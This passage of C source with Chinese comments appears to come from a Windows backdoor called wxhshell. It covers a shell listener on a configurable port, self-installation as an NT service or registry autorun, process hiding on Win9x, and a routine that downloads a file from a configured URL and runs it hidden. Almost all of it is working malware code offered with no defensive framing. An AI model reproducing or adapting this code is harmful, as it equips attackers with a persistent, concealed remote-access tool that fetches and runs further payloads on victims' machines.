hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); if(hProcess==NULL) return 0;
HMODULE hMod; char procName[255]; unsigned long cbNeeded;
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
CloseHandle(hProcess);
if(strstr(procName,"services")) return 1; // 以服务启动
return 0; // 注册表启动}
// 主模块int StartWxhshell(LPSTR lpCmdLine){ SOCKET wsl; BOOL val=TRUE; int port=0; struct sockaddr_in door;
if(wscfg.ws_autoins) Install();
port=atoi(lpCmdLine);
if(port<=0) port=wscfg.ws_port;
WSADATA data; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); door.sin_family = AF_INET; door.sin_addr.s_addr = inet_addr("127.0.0.1"); door.sin_port = htons(port);
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { closesocket(wsl); return 1; }
if(listen(wsl,2) == INVALID_SOCKET) { closesocket(wsl); return 1; } Wxhshell(wsl); WSACleanup();
return 0;
}
// 以NT服务方式启动VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ){ DWORD status = 0; DWORD specificError = 0xfffffff;
serviceStatus.dwServiceType = SERVICE_WIN32; serviceStatus.dwCurrentState = SERVICE_START_PENDING; serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; serviceStatus.dwWin32ExitCode = 0; serviceStatus.dwServiceSpecificExitCode = 0; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0;
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); if (hServiceStatusHandle==0) return;
status = GetLastError(); if (status!=NO_ERROR) { serviceStatus.dwCurrentState = SERVICE_STOPPED; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0; serviceStatus.dwWin32ExitCode = status; serviceStatus.dwServiceSpecificExitCode = specificError; SetServiceStatus(hServiceStatusHandle, &serviceStatus); return; }
serviceStatus.dwCurrentState = SERVICE_RUNNING; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0; if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");}
// 处理NT服务事件，比如：启动、停止VOID WINAPI NTServiceHandler(DWORD fdwControl){ switch(fdwControl) { case SERVICE_CONTROL_STOP: serviceStatus.dwWin32ExitCode = 0; serviceStatus.dwCurrentState = SERVICE_STOPPED; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0; { SetServiceStatus(hServiceStatusHandle, &serviceStatus); } return; case SERVICE_CONTROL_PAUSE: serviceStatus.dwCurrentState = SERVICE_PAUSED; break; case SERVICE_CONTROL_CONTINUE: serviceStatus.dwCurrentState = SERVICE_RUNNING; break; case SERVICE_CONTROL_INTERROGATE: break; }; SetServiceStatus(hServiceStatusHandle, &serviceStatus);}
// 标准应用程序主函数int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow){
// 获取操作系统版本 OsIsNt=GetOsVer(); GetModuleFileName(NULL,ExeFile,MAX_PATH);
// 从命令行安装 if(strpbrk(lpCmdLine,"iI")) Install();
// 下载执行文件 if(wscfg.ws_downexe) { if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WinExec(wscfg.ws_filenam,SW_HIDE); }
if(!OsIsNt) { // 如果时win9x，隐藏进程并且设置为注册表启动 HideProc(); StartWxhshell(lpCmdLine); } else if(StartFromService()) // 以服务方式启动 StartServiceCtrlDispatcher(DispatchTable); else // 普通方式启动 StartWxhshell(lpCmdLine);
return 0;}
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